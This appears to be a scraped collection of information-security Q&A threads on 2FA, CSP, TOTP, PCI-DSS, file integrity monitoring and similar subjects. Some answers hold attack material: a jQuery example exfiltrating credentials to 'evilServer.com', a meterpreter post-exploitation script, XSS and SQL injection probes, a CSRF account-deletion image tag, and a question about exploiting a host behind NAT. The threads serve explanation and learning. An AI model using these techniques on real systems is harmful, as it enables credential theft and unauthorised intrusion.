I see entry level security skills as a problem for industry - what can we do about it? Okay, so we push corporates to improve security, and provide training to IT staff and awareness presentations to CEO's etc, but each year a new batch of graduates are brought in to companies as others leave, and they typically have one of two perspectives:

security?
security fascist!

One of the things a few of us are trying to do in Scotland is facilitate training sessions for students (lectures, workshops, summer placements) by companies (banks, law enforcement etc) but there is a real struggle getting buy in - even though the companies are offering their resource for free (well, they understand the benefits to them of getting graduates in with some experience) and organisations such as the Chartered Institute of Information Security sponsor many of us to provide training in as many areas as possible.

What could we do to improve this - not just in Scotland, but everywhere, as it should be relevant to all...the problem is not going away, in fact it is getting bigger, but companies don't take it seriously until they are hit badly, and even then only until the newspapers target someone else.

Companies have security policies, but do they have culture from the top to the bottom? "No" is the easy answer. We try to fix the culture at the top, but typically that is high effort for no return so can we get in at the bottom? Educate students and new graduates!

The problem is, of course, that students don't want to hear about security, as it goes against the usual student ethos :-)

[edit - unless they are taking a security course, as @D.W. pointed out, but that is where we get a lot of the security fascists from - overkill on the security, not enough focus on real world, less than ideal scenarios]

So

What do you see students and graduates interested in?
What would work in your company /
university / organisation?
What is the biggest win for you?
What are you fed up with hearing
Does your organisation have an alternative solution?
about?

If you have key learning points you think are appropriate for the community, let's get them into the community!

-----------Added bounty. 2 really good answers, but would really appreciate many more points of view, as I see this, and the associated problem (How to educate CEO's etc on security) as essential things to get better at.

One of the things I've been most impressed by in the last few years is the new focus on security as being a balance between cost and risk.  A security solution should not be implemented if the cost exceeds the risk of exploit, and both costs and risks can be hard to diagnose.

The thing I like most about this core concept is that it basically mandates the idea that there is no "one size fits all" solution.  Designing security is as much a craft as designing a solution or a peice of software.  It offers a middle ground between (1) clueless and (2) nazi.

When presenting it to an audience new to security, I like to put it out there as a challenge - the challenge is making something that is secure within reason for the functionality it must provide to meet it's goal.  Geeks like puzzles and this is a pretty cool puzzle when you get down to it.

If I had all the funding and time I could wish for, I'd craft a security concentration for both undergrad and grad programs that introduced security topics as a set of puzzles.  I'd start with "what was the problem that caused this technology to be used?", and then "how does the technology work?" and "what problems can it cause?"

As far as the questions go:

What do you see students and graduates interested in?

They want meaningful work and a chance at a good job in the industry.  I think security can be presented as both things.  If you view security not as saying "no" all the time, but as coming up with clever solutions that let people get their jobs done efficiently but with little risk to the business, then I think the work is exceedingly meaningful.  Also, I've never lacked for a job as a security nerd, so I'm always glad to speak from personal experience on that one.

What would work in your company / university / organisation?

I'm probably an outlier - I work for a defense contractor.  Security is such a part of our corporate culture that I have problems envisioning the world without it.  The thing I find most often, though, is that geeks suck at rote process - and there's a LOT of aspects of security (especially physical security) that requires slavish adherance to security details.  To a point, I can motivate people to figure out ways to "engineer-proof" things - for example - "what can you do to make sure that you lock up the secure thing in the big metal safe at the end of the night?"  Sometimes folks come up with really creative solutions.

What is the biggest win for you?

Personally, I love the challenge. I like making secure things work, and security is an added part of the fun.  I also really, really like seeing the light come on for newer engineers when they start thinking like a security nerd.  And one of the things I like about my corporate culture is that helping other people to think through security for themselves is a big part of the job and the social contract.

What are you fed up with hearing about?

I'm a little fed up with being told the rules are "stupid".  They may be tedious, but if you think they are stupid, then you generally aren't seeing a big enough picture.

Sadly, on the other end, I'm also tired of being told that the mandates of a highly secure working environment mean that someone can't move quickly.  Secure does not equal slow, especially not when I wonder if the only reason for slowness is red tape.


Removing vulnerabilities from uploaded files Our website has a form which allows users to upload image files (png,gif,jpeg and pdf).

Once uploaded, the website sends the file (server to server) to the back office api, which then saves the image to disk.

In the back office, our employees can watch the images uploaded by our customers in a browser.

Security wise, If a client sends an infected JPEG file, and our employee open it in a browser, this may cause security issues.

Besides anti-virus, I want to sanitize the files before they get written to disk.

If I convert jpeg to png and png to jpegs, will this make them safe to process?

Is there any simple way in .NET to secure file just by converting it, or maybe another way besides conversion?

It's a bit difficult to provide a universally applicable answer to this question as what you're looking for is vulnerabilities in the library(s) processing the image files before they are written to disk.

Converting the image from one format to another may help remove invalid content, however the conversion process itself could introduce new vulnerabilities as the data is being processed.

As such I'd suggest that pre-processing (e.g. converting or validating) the image in an isolated environment (e.g. dedicated Virtual machine or Docker container) would potentially be a good idea to reduce the risk of this processing prior to these images being viewed by your staff.


Authy 2FA best practices I've used the authy mobile app for a while for OTP tokens, but have the backup/syncing turned off. I noticed that they have a desktop app, which would be a lot more convenient most of the time, but I'm wondering if there has been any security research into their implementation and if this is a good idea or not.

It looks like in order to use the desktop app you have to enable authy's syncing between devices. This seems exactly the same as a password manager - the OTP seed syncs between devices, encrypted with a master password, the same as my randomly generated 1Password passwords. And I would likely store the authy master password in 1Password anyway so I don't have to remember a new secure password.

So my question is, is this worth using or would it be about the same to just turn off 2FA since it's approximately the same data model and no longer an independent second factor?

Full disclosure, I'm a Solutions Architect for Authy and am pretty familiar with our product. :)

First off, absolutely DO NOT turn off 2FA!  The real use-case you're preventing with 2FA is someone compromising the website's database and running off with the login/password combination.  Always use 2FA!

With 2FA enabled, you are also notified that someone is trying to login and you can subsequently deny them access.  If you turn off 2FA, you 1) won't be notified and 2) won't be able to deny them access.

Regarding your syncing concerns let me reassure that we've thought about a lot of these issues and have a solid technical solution.

First off, syncing is opt-in (as you've noticed).  Secondly, the Authy OTP seeds between each of these devices ARE DIFFERENT.  Here is a side-by-side image of the Authy Desktop app and the Authy iPhone app.  Notice the values are different!

Google Authenticator seeds which are stored in Authy will be the same as they have only a single seed value which needs to be stored and shared.  This is a limitation of the Google Authenticator approach.  These seed values are encrypted via your backup password.

If your phone is lost or stolen, you can disable that device's access via any of your other devices.

For more information on the security around Authy's multi-device support, check out this Q/A exchange:  Authy - is my backup secured by only my password or 2FA s well

Hope this helps!  Let me know if you have any more questions.

Cheers,
- Josh @ Authy

p.s.  I use 1Password as well and use a pretty gnarly password for backup & sync.


Why did customer services say using symbols in a password is insecure? I am using an online service that I recently had to reset my password because I forgot it. When I went to change password I wanted to use one with a symbol !@£$%^&*(). When I clicked "confirm password" it displayed "_Invaid Data" to me which I eventually found is because of the symbol. I then spoke to customer services and told them about this (as well as to replace "_Invalid Data" with "Passwords can only contain letters and numbers") and they replied back saying "Sorry, the guidelines we put in is place is for security measures". (This is what the message sounded like to me)

The question is why did they say that its insecure to allow symbols in passwords when symbols make it safer?

To make sure they have better security in the future I did educate them and said that if you have a 8 character long password with letters and numbers only, it would allow for 36^8=2,821,109,907,456 combinations where as including the 12 symbols(!@£$%^&*()_+), it would allow for 48^8=28,179,280,429,056 characters long, meaning there is an extra 25,358,170,521,600 combinations and they are now forwarding this information onto their manager.

These 'security measures' aren't for your security, but for theirs.

Symbols like hyphens, apostrophes, percent signs, asterisks, slashes, periods, etc. are useful to attackers for performing "injection" attacks, like SQL Injection, XPath Injection, file path injection, etc.  By blocking those characters, the site owners hope that they are preventing you from attacking their servers.

They should probably be focused more on proper data handling, like internally using parameterized SQL and special character escaping, but this is an additional measure that could help serve as a stopgap in case they have a hidden coding error in their site.

I can't definitively answer 'why' they did this. Maybe they had a security auditor who said "use a whitelisted character set for user input, and block any non alphanumeric symbols." Maybe the web package they bought came with that restriction. Maybe their Vice President of Security said "add some visible measures that give our customers the impression that we take security seriously." Who knows why?


What are the difference between WPA2-PSK and WPA2-EAP-PSK? What are the differences between WPA2-PSK and WPA2 EAP-PSK? What are the pros and cons of using one configuration or the other?

WPA2 EAP-PSK uses WPA2-Enterprise to do an 802.1X authentication to server.  It uses the PSK method of EAP and allows a client to authenticate with just the use of a PSK.

The pros of WPA2-PSK is that it is supported in every 802.11 device of relatively recent manufacture (2nd gen 802.11g or so).  It is simple to set up and simple to use.

WPA2 EAP-PSK should be somewhat more secure in that it would be harder to calculate the PSK from captured traffic.  However, many of the same vulnerabilities exist if an attacker were able to get a hold of the PSK (social engineering, written down, etc).

There are a number of drawbacks:

Like other WPA2-Enterprise methods, you need to have an authentication server set up to authenticate against which adds complexity.
Both the server and the client supplicant need to support the EAP method.  AFAIK, only wpa_supplicant has support for EAP-PSK and you will not find this native on most devices.
EAP-PSK has never passed the "experimental" stage of development.
There doesn't seem to be a lot of interest in it, either people don't want the complexity of WPA2-Enterprise at all (even with a simple authentication method) or they are content to use other more widely supported EAP methods.


Selective JavaScript commands - Avoiding vulnerabilities exploitation I remember the times when Javascript usage was so innocent; a small pop-up here, a dialog message there.

Nowadays Javascript "steals" data by exploiting vulnerabilities on "mature" browsers such as Firefox (prior to 39.0.3.), and making the world under alert.

  The vulnerability comes from the interaction of the mechanism that enforces JavaScript context separation (the “same origin policy”) and Firefox’s PDF Viewer. Mozilla products that don’t contain the PDF Viewer, such as Firefox for Android, are not vulnerable. The vulnerability does not enable the execution of arbitrary code but the exploit was able to inject a JavaScript payload into the local file context. This allowed it to search for and upload potentially sensitive local files.

Source

Or just by visiting a website you get a malware as a gift:

  You can get a virus just by visiting a site in Chrome or any other browser, with no user-interaction needed. Even with Chrome you are not 100% secure - and you probably never will be with any browser, but Chrome is getting pretty close to it and the security research community seems to agree that at this time, it is the most secure browser you can use.

Source

Based on that, I wonder if JavaScript is too dangerous to be used on browsers or if browsers themselves are too insecure?
Would it be possible to limit what JavaScript can do from a browser configuration perspective (e.g. Automatically start a download or references to scripts on other domains [High threat])?

JavaScript itself is not dangerous, the complexity of modern browsers and consequentially the bugs introduce are. But of course JavaScript is one common way to exploit these bugs.

Limiting the usage and/or execution of scripts increases the security, there are different ways to do that. Browser configuration allows you to completely deactivate scripts or allow only certain permissions (e.g. download fonts). This might or might not be away to increase security depending how the check works. It would not be a good measurement if the script is executed and checked in between, it should be analyzed before execution.
This is why extensions/plug-ins like NoScript exist that let you decide what scripts from what source should be allowed. This happens before loading the script and has very detailed and easy configuration.
In general all browsers try to protect against basic security problems like XSS (Cross Site Scripting) or drive-by downloads. But that is often not enough and additional measurements are necessary.

NoScript specifically lets you decide what tags in html are allowed, filters them. You are able to white- and black-list websites, recognizes XSS, can enforce ABE and many more things.

There might be other ways to effectively minimize script execution, but this is the I personally think is the best trade-off between completely disabling scripts (which would break almost every modern website) or allowing everything.

There may be other extensions besides NoScript with similar functions, but I haven't used them and can't give other recommendations.


How should I share a TOTP shared key with my users? I want to add one-time passwords as gates for certain important actions in the application I am working on. It is not two-factor authentication, although it may be extended to that use case later.
RFC6238 is a very commonly adopted standard for this kind of problem.
It seems very straight-forward to have users download Google Authenticator or something similar on their mobile device and then implement RFC6238 on the server as well.
The one part I can't find any clear guidance on is how to securely share the shared key with users. Is it okay to send this via email or SMS? Is it okay to display a QR code in the browser? Is sharing the secret in the browser defeating the added security, since any logged in user could get a new secret and configure their device to use it to generate OTPs?

I would argue that it depends on your specific case. Remember you need a client that will store the secret key (safely) and generate a TOTP. There are a lot of apps that do that already like Google Authenticator that you mentioned above. You could even create your own (although not recommended ). Most TOTP client apps give you 2 options to add a TOTP key scan QR and insert a key. Although they seem different they are the same (it's a key just in another format).
So your problem is what medium you should use.
First, I have to point out that it will always depend on the level of security you want to have. Too much security is not always good.
Having said that I will list my criteria when choosing a channel to transport a secret.

The channel should be end-end encrypted

SMS do not offer such a service an as such I wouldn't like to use them
Emails do not at least most of them offer end-to-end encryption (plus they are mostly stored at plain text)

The channel should ideally guarantee the end-user identity

SMS suffer a lot from sim swap attacks
Emails accounts can be easily be taken over if the user is reusing passwords and etc...

Both of the above problems are already solved for you if you use the browser as your medium. End to end encryption is provides by the HTTPS protocol and you have authenticated the user with whatever method you deem acceptable. Plus you don't have to relay in third party entities security polices (phone companies, email providers)
All in all I would prefer to use the already existing HTTPS session to transport the secret to the user. If this method doesn't suit you, you can even break the secret into small parts and send then with different mediums. This way even if one of them is compromised access the attacker can't gain access. This however is not as user-friendly. As I said above to much security can be bad.
As far as your concerns about generating a new key for HOTP every time remember.
Also the key should be shared with the user only one time and never again
When a new key is the old must no longer work and ass a result HOTP code that is generated with the old key should be invalid. Also, the process of generating a new HOTP key should be quite thorough to make make sure the one requesting the generation of a new key is the users.


Best way for a beginner to become involved in cybersecurity? So I understand cyber security is a very broad topic but all sections I presume require some base skill.

I have a moderate understanding of Python and HTML but all are still very basic. For my Gold D of E (a qualification, as you will, organised by a UK-wide charity) I must spend 18 months developing a 'skill'. Because I have an interest in computers and would like to pursue a cyber-security career later in life, I have chosen cybersecurity as my skill.

Does anyone have any ideas where to start? I've currently set a timeline (in the 18 months) of learning C, then work around Linux/Bash, move onto learning JS, then networks, then finishing with learning the basic ins and outs of the Kali Linux package.

Does this seem achievable in 18 months?

Should I focus on getting a very high degree of knowledge on one language/skill or focus on a wider range of languages/skills at a lower degree of knowledge?

Is C and JS the way to go or should I advance in Python or learn something like C++ or Perl?

Cheers, Adam

The standard answer is: it depends.  Cybersecurity is a HUGE domain with a lot of opportunity.

For instance, there are people who go threat hunting - they monitor network traffic and look for variance in there to understand what's out of the norm.  For those folks, an in-depth knowledge of networking is valuable.

Perimeter security is important.  That also involves a great level of knowledge of networking, packet inspection, and network monitoring tools.

Then there are people who are involved in application-level security.  Having skills in multiple programming languages would be valuable here.

There are people who specialize in hardening devices themselves and device security.  In that case, knowing Linux and Windows security at a deep level, along with a basic understanding of networking, is valuable.

There are people who do penetration testing.  For them, an in-depth knowledge of networking and electronics is valuable, as well as psychology (to hack the human factor).  Also deep familiarity with known vulnerabilities is important.

In some enterprises, administering the firewall falls under the Security Team.  There, a good knowledge of Network traffic, ports, and a basic knowledge of known good/bad hosts would be useful.  (That may be seen as an entry-level IT Security responsibility.)

In light of the above, there are multiple more possibilities that I haven't touched on.

If it were me, I'd suggest finding something to be excellent at.  Once you have deep knowledge, that may transfer over to other areas.  So if you are excellent at Python, the knowledge of how to do something programmatically would transfer over to C++ - you'd know what to do but would just need to figure out how to write the code.  Knowing what to do is the hard part; writing code to do it is easier.

If you want to work in a medical environment, knowledge of HIPAA (in the US) is valuable.  I assume that the UK has its own privacy laws, so knowing them for the medical environment would also have value if that's the route you want to go.  There an understanding of an electronic medical record as well as database security would be invaluable.

I've read that Perl is, although not dying, also not as popular as it used to be.  Given the choice, I'd think that staying with Python, which you understand a little of, would give you the quickest route toward understanding programming. The concepts are the same across platforms (the concepts behind if and loops don't change; only their operation and coding).

I'd welcome comments from some of the other folks here, but my first recommendation would be to find what you are really interested in and passionate about, and then study that.  Find something that you just can't put down and learn the heck out of that.  You'll be doing it 40+ hours per week and will always be learning more, so why not make a living at something you enjoy?


Why doesn't the same origin policy block get requests that contain arguments? From what I understand,  the same origin policy prevents scripts in a web page from talking to servers outside of the present domain (using post, xmlhttprequest, etc).  I assumed that get requests (with arguments) across domains would also be forbidden.  That was until I started to read about using YQL to bypass some restrictions of the same origin policy.  The code examples all use an ajax get request with parameters.

 $.ajax({
      type: "GET",
      url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),

So lets say some attacker manages to inject some evil javascript into a web page that harvests logins. Something like:

$.ajax({
  type: "GET",
  url: 'http://evilServer.com?username=PresidentSkroob&password=12345

The receiving server could log every request that comes its way.  Why is this allowed?  I understand why you would want to allow data-less get requests (say importing jquery), but I don't see a reason to allow query strings to be passed cross domain.  Is there a legit reason why most browsers allow this?

I don't see a reason to allow query strings to be passed cross domain. Is there a legit reason why most browsers allow this?

There is nothing special about query strings. You could just as well exfiltrate the information in a path part, evil.example.com/PresidentSkroob/12345... or even the domain name. eg imagine setting the address to PresidentSkroob.12345.evil.example.com; if you run the DNS for evil.example.com you can easily log the lookups.

As per XMLHttpRequest level 2, browsers allow cross-origin GETs to be sent without preflighting, but don't allow the results to be read from the response unless the remote domain opts in. There is no additional vulnerability here because you can already cause a GET to an arbitrary URL to be sent (including query string, for what it's worth) through multiple more basic interfaces.

For example you have always been able to create an <img> element with its src set to an address on a remote domain; taking away that cross-domain ability would break a lot of the existing web.


Zip files and metadata I want to send a zip of some files. The files themselves don't contain anything sensitive but I'm wondering if zip files contain metadata that could identify me or something about me? It seems that zips save at least file timestamps. Is there anything else I need to be aware of? It wouldn't really matter but can anyone work out the program I created the zip on?

You should be more concerned about the meta data of the files in the zip. Images often have geolocation and word documents can also have some juicy info. I'm sure a dedicated attacker could figure out what software you used to compress the file, but there's really no risk in that. Unless you're a VIP/high-value target, I wouldn't worry about it.


Secure online credit card payment on a delayed time scale I'm in charge of security for a small online store that wishes to request credit card information, but not actually charge the customer until approximately a month after the purchase - this cannot be avoided.

However, it seems to be a nightmare for compliance purposes.  It seems as if we'd need to store the credit card details for some time until we charge the customer, possibly necessitating pci-dss compliance.  We have no use for the numbers after that month-ish long period.

Does this setup necessarily entail pci-dss compliance?  If it doesn't what alternatives are there to securely manage that information on this time scale?

PCI-DSS comes into play in your scenario. Time is irrelevant. It's the storing of the PAN that triggers PCI-DSS complexity.

If you want to avoid it, architect a different approach. For instance, payment processors can put an authorization hold on the funds for a time then process the full payment.

I would talk to the many payment processors out there to see what they can do for your organization.


How to attack a specific computer behind a NAT using remote buffer overflow I know the victim's public ip of his router, and also the victim runs a program that is vuln to a remote buffer overflow.

How does an attacker attack this victim computer with just an exploit that needs IP and port?

For example:

public ip of the router: 1.1.1.1
vulnerable program is listening to port 5511
local ip of victim: 192.168.1.9
attacker IP: 2.2.2.2  (connected directly to the internet or behind a router)

Tested locally, the exploit works fine because we are in the same network. The problem is when the victim is outside the network and behind a router.

You can't directly access the victim from outside since it is not directly reachable due to the NAT router. You also cannot trick the router into giving you some special access to the internal device. This means that you first need to find a way into the internal network first. How to do this depends on the specific environment, i.e. you might be able to trick the user into opening a malicious attachment, you might be able to attack some internal IoT device which is accessible from outside due to port forwardings etc.


China CCTV System UDP protocol isn't working My boss is trying to invest on a CCTV solution that he orders from China, his idea is to market it here after we fine tune the process and configuration and make a few tweaks of our own.
It consists of 4 wireless cams and a reception device(that I think has an Android port) that is connected to the internet, then they have an Android/iOS app that enables viewing the camera anywhere in the world, the problem is, we can't...

They are using a UDP protocol to transfer the data - and UDP doesn't have packet verification so the data could be easily corrupted, not a big issue if a few frames of real time video are corrupted, but the way I see it, if one is to intercept a packet, he could keep feeding the same frame to the device and create a video loop, UDP just makes it easier since there's no packet verification, am I right?

This is one of the security concerns I've told him about, but anyway, he wants it to work... What happens here is it must use UPnP connection to the router, and even after enabling it through router setup page (it's a belkin) I can't get access to the cameras from anywhere outside of our network...

inside our network, I can connect my phone to the WiFi and view the cameras, but not outside, not on my house, not on 3G network, not anywhere... the funny thing here is it must be working, because the fellows at customer support in China sent me a picture of our parking lot, where the cameras are pointed at... I've tried contacting them and asking for how they did do it, but they gave me nothing I haven't had already...

Researching UDP yesterday, made me wonder if there's some kind of block to that protocol, since other than a few applications, it has run quite obsolete and it is highly insecure... I don't know if locally (in my router) or at an ISP level, but I would go for ISP since if it was my router not letting the signal get to the internet, they wouldn't have viewed it in china...

UDP is no more, and no less, protected than TCP. It is a transport mechanism, not a security system. We sometimes say that TCP is reliable because, contrary to UDP, it includes provisions for acknowledging received packets and emitting again missed packets, but this is not a "security" reliability; it is only against non-malicious transport errors.

If TCP was used, it would not be intrinsically "safer". When we want a "safe TCP", we use SSL/TLS. SSL needs a "reliable" transport like TCP (because it checks that it received every byte in due order and with no alteration, but does not include corrective actions against transmission errors, only detection). However, there is a variant of SSL which is meant to be applied over UDP: DTLS. Thus, a CCTV system which transfers data over UDP may be secure, if it uses DTLS, in the same sense that a CCTV system which transfers data over TCP may be secure, if it uses SSL/TLS.

I don't claim that your CCTV system uses DTLS; I'd actually be surprised if it did. But I want to point out that while UDP does not provide any security, it is not adverse to security either.

That being said, since the CCTV system is supposed to work over any Internet access, and you would get the pictures with an app on your phone, then chances are that the pictures are actually sent to a server operated by the camera vendor. Indeed, there is a "rendez-vous" between the client (the app on your phone) and the camera, the latter being hidden behind an ISP which may apply a dynamic IP; a third party is more or less needed at some point.

In any case, you'd better trust them... If pictures of your parking lot are considered sensitive, then a reasonable first step might be, perhaps, not to send them to people you hardly know in China. Just saying. The operative word here is not "China" but "hardly know": you are delegating your physical surveillance to a third party, and that is not an innocent move.


The purpose of securecookie package from gorilla I don't understand the purpose of securecokie package from gorilla. https://github.com/gorilla/securecookie/blob/master/securecookie.go. I can see that it's being used get the cookie value on server based on session id stored in cookie and hashing algorithm and keypairs.
https://github.com/gorilla/sessions/blob/master/store.go

So if I understand correctly, this only protects the session data when an attacker has taken over the box. Because he will have trouble getting the value of session with all user's session id in hand. But still, if he has taken over the box, he can get everything he wants, so in reality it's not protected.

Likewise, this kind of protection cannot protect from middle man attack.
If it tries to protect the middle man attack, secure flag and https is the way to go. Am I correct ?

This appears to provide a function similar to that of JSON Web Tokens (JWTs). i.e. a claims based identity token.

It will allow your web application to set cookie values, and to guarantee the integrity of the values when received in future requests.

In addition to integrity checks, securecookie also appears to allow encryption for confidentiality.

What this means

In essence it allows your application to set values and store them in a client side cookie that can't be altered by the end user, with an optional step of encryption to also prevent any reading of the value.

So you could be storing that the user is logged in as an administrator. Normally if you stored User=administrator in a cookie, this would be subject to tampering by a malicious user who has the cookie on their own machine. However, if you use securecookie you can protect this value with a cryptographically secure hash. The hashed value typically includes an expiry date and time to prevent a user from storing the cookie value and then using it at a  later time (say when they do not have administrator access).

It does not protect against Man-in-the-Middle attacks or from attackers that have taken over the box. It simply enables the data about the current user (the claim) to be stored client-side.


My WCF application uses 2 way certificate message encryption - does it still need SSL? I have a WCF service configured to use two-way certificate authentication on the messages.

The server is also locked down through a firewall to only allow traffic from a single IP:Port that the client is also using.

Is SSL for the transport layer still a good idea, or overkill?

In a word: yes.

All message encryption does is make part of the communication confidential. SSL makes sure you're talking to the right server and makes sure nobody listening in can figure out who you're talking to.


Adding plugin to meterpreter I'm trying to add a meterpreter plugin,

a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
    test = letters[i,1]
    rem = a % (2**(i+1))
    if rem > 0
        drives << test
        a = a - rem
    end
end
print_line("Drives Available = #{drives.inspect}")

So I placed the file to /lib/rex/post/meterpreter/ui/console/command_dispatcher

Then I restarted msfconsole, but after successfully exploitation, I could not see the XXX command (where the filename is XXX.rb) and the use XXX command seems to be looking for a dll with that name

So what's the correct way to add a plugin for meterpreter?

The correct folder to put your script into is scripts/meterpreter/.

Once you copied your script there and launched msfconsole, you can use the run scriptname command to run it.

You can find more details and examples about meterpreter scripting on Metasploit Unleashed. A list of some useful API functions when writing such scripts can be found here and some functions examples here.


XSS and Content Security Policy, and existing CSS I have done the first development of a website and deployment. Scanning the server with an online security evaluation tool I was recommended that I add a Content security Policy to the website, and I understand that this can help with XSS. But I read that this will disable inline CSS styles.

I have used inline CSS freely all over the website. Did not know this was a bad thing. (eg: div style="width:100%;"). If I was to find and transfer all inline CSS to file it would take too long.

However I am only taking input from user in 3 pages. One is a feedback form that stores data on server only. One is a contact form that does not store data only send an email(collects user email address). The comments page takes comment input, stores the data, it retrieves and displays entries that have been cleared by admin. The other pages are mostly displaying static content.

I'm assuming comments page is the priority (is this right?). Would it work if I put CSP declarations (? default-src: https:) to the above three pages only (and remove inline CSS). and the others have inline enabled (? default-src: https: 'unsafe-inline') ?

You can deploy your Content Security Policy in a way that is very restrictive to scripts, but still allows inline styles. The two directives to look out for are script-src and style-src.

Here is an example policy you might use:

default-src 'self';
script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https: 'report-sample';
style-src 'self' 'unsafe-inline';
object-src 'none';
base-uri 'none';
report-uri https://csp.example.com;

The thing about default-src is that it's supposed to be a fallback, in case that you did not specify something. In the above example policy, img-src is not defined, so it would be the same as the default-src.


Files to monitor in linux All,
I have been googling around for different guides on what files to monitor that people would edit for malicious intent. In my readings so far, i have found the common files people edit.
so far i have found:

/etc/hosts
ufw config files
iptables config files
/bin/login

what other files do you guys monitor actively and why?

Thanks in advance!
-tsnm

Your best bet is to install a HIPS (Host Intrusion Prevention Application) such as Samhain or AIDE. There are far too many files to monitor and an attacker can (and usually will) try to modify whatever they can. Not to mention there are plenty of people who play/tinker with Linux/BSD/OSX viruses, exploits, and proofs of concepts

EDITED FOR AN EXPLANATION AS TO WHAT TO MONITOR AND WHY

Every system differs, one can follow guidelines, baselines, but at the end of the day, the importance of what to monitor as at the discretion of the systems administrator, the data custodian, and a range of other people, or just one person. On any system I have been an administrator on, it is my function to maintain that system. I prefer to know as much as I can about the entire system.

When I install Host Based Intrusion Prevention, I choose to monitor everything EXCEPT log files. Logfiles change, therefore they'd generate many false positives. As an attacker/pentester, I am aware that many professionals who've followed best practices and guidelines, tend to focus on what they perceive (based on risk) as important. This will usually (and mostly ONLY) include directories where binaries are installed. Under Linux/BSD/Solaris:

/bin/
/sbin/
/usr/sbin/
/usr/bin/
/usr/local/bin/
/usr/local/sbin/
/opt/bin/
/opt/sbin/
/etc/

These are not the only places to store files, to hide programs, etc. For example, knowing these are the "usual suspects" being monitored, I have no time as an attacker shoving something into /usr/lib, /usr/share, /tmp, and so forth. These files are not going to be detected because no application is watching what is occurring.

The time and space to monitor these files/directories is minimal. I would rather be safe than sorry. There may be false positives initially, but this is where you can ween out what are legitimate alerts, and what aren't, building from there.


iptables: block traffic from OSX hotspot We use Linux for a router and firewall setup and some of our employee makes hotspot from OS X. Is there a way to block this traffic, or control it?

The problem is, that the IP addresses what this hotspot give to his clients are hidden in the network, so I can not just block this subnets.

I think you're falling into the trap of looking for a technical solution to a managerial problem.
This is a case of users circumventing security. Try talking to them; why would they want that hotspot? Does the official Wi-Fi network have shortcomings that they're trying to work around?

As long as this is not addressed they will find ways to work around what you're trying to fix.

Why? Because this is not really something you can fix with a firewall.
These only look at the physical and logical addresses, which aren't much use here.

If you don't know who is doing it, you could try foxhunting them with airodump-ng, or see if your Wi-Fi solution supports rogue AP detection.


manually approach to check vulnerabilities? How to check for different vulnerabilities mainly XSS, SQL Injection, CSRF manually???

We are not supposed to use any interceptor tool to read request and all.

Is there any other way by which we can intercept any request without any tool or plugin??

If you are not allowed to use an interceptor (and I suppose the task is some sort of exercise) you will usually not need one.

You can try to insert some attacks manually in a form or whatever you have. Checking for possible XSS attacks is possible if you send a custom string ABCDEFG and look where it appears in the resulting page. You can then try to refine that string and insert some tags, e.g.

<script>alert(1)</script>

If that raises a message you have successfully injected code.

You can try to start an SQLi by inserting SQL queries in a form element. I would start by adding ' an see if that results in an SQL error message somewhere on the resulting page. Often useful is also to replace number by equations. E.g. 10 by 11-1. If that validates you know that your input is directly passed to the SQL engine. You can then try to inject some more sophisticated queries. I recommend the cheat sheet from pentestmonkey which you can find here http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

For CSRF you have to have a foreign page which includes an element that, when loaded, results in a query to the site you want to attack. For example

<img src="http://some.site/user.php?deleteme">

which would make the browser request that site and possibly execute a deletion of a user account or so.

The web is full of further information and cheat sheets with common attack patterns. Just google it ;-)


Why are these two hashes different? openssl passwd -1 -salt 34 12 = $1$34$jVCBepHqaSo2abdfzITRY0

openssl passwd -1 -salt 4 123 = $1$4$GP8wMYuBvgY93rX7yoh4Y1

Aren't the hashes calculated with md5(password+salt)? Why are they different?

Aren't the hashes calculated with md5(password+salt)? ...

No they aren't. Looking at the source code of md5crypt you will see that is is way more complex. For one, it does not start with passwd+salt at all but starts with passwd$1$salt and then feeds another md5 based on passwd and salt into this hash etc. Thus very different and more complex than your assumption, whatever this assumption was based on.

See also https://pthree.org/2015/08/07/md5crypt-explained/ for a more detailed description of the algorithm including python code.


What could be the source of various AVG "Exploits" (Rogue Scanner, Fake Video Player, Social Engineering, etc)? Recently, I've been getting 2-3 messages a day (usually at least 2 at a time) with AVG gleefully saying that they've protected me from one of these threats.

Clicking through to look at details, they don't seem to indicate which website triggered it. I don't think I've been viewing any pages horribly different than I have in the past, and I rack up these messages even when not actively browsing (I get knocked out of games with them, and while I was gone for three days, it racked up another 7-8 of them). It always says all items are resolved, but it still does not leave me with a good feeling. How do I determine what's causing the problem?

Wrote as a comment first, but it quickly grew up and didn't fit :(

Your verdict shows the website which triggered it - quickprivacycheck.com. Please see http://www.avgthreatlabs.com/us-en/virus-and-malware-information/info/rogue-scanner/ - note that quickprivacycheck.com website is reported as being the #1 site triggering this exploit in last 7 days.

If you don't visit this website yourself, and have no idea what it is, you need to find out which software on your computer visits this website. The possibilities are:

You have some malware/adware installed - this could include software, browser plugins (especially browser toolbars), games etc;
You receive emails with images referring to this website via  tag, and your e-mail client automatically loads the images (this is generally bad idea);
A website you routinely visit is now infected. This is not unusual; you can scan it on virustotal.com (click on URL tab);
A website you routinely visit shows content from a 3rd party website which is infected (ads, news, widgets). This happens more often than above, and even major ad networks could serve malware.

Finally, there is also a possibility that the website is clean, and the verdict is incorrect. This is called "false positive", and also happens once in a while. I do not see any verdict for quickprivacycheck.com in our database (disclamer: I work for Bitdefender), and the site main page returns an empty HTML file, so I can't analyze it. Still there's a possibility which should be accounted for.


Steps to find out whether a SSL certificate is trustworthy For doing business with a company I have to browse to https://www.prioenergie.de/nc/mein-prioenergie.html (German website).

Firefox says the certificate is invalid, because it is not signed by a trusted root CA.

This is the certificate data:

Created for
CN: www.prioenergie.de
Serial: 1A:AE:76:6C:D0:09:24:AC:41:07:2D:27:7E:42:4A:FB

Created by
CN: thawte DV SSL CA - G2
O: thawte, Inc.
OU: Domain Validated SSL

Valid from: 06.11.2014 01:00:00
valid through: 12.09.2017 01:59:59

SHA256 fingerprint: 45:8B:50:A6:21:F1:17:7F:AE:63:24:EE:ED:DA:CE:6A:53:38:C4:AC:F6:48:0D:0A:52:49:F8:B3:07:4E:1B:25

What I did so far:

I already googled for the fingerprint, but didn't find anything useful.
I wrote an email to the support hotline and told them to investigate in this issue
I have submitted the URL at SSLLabs and it got a grade C, which is certainly not the best, but also not very meaningful for me.

What would be the next step to find out whether I can or cannot trust the certificate?

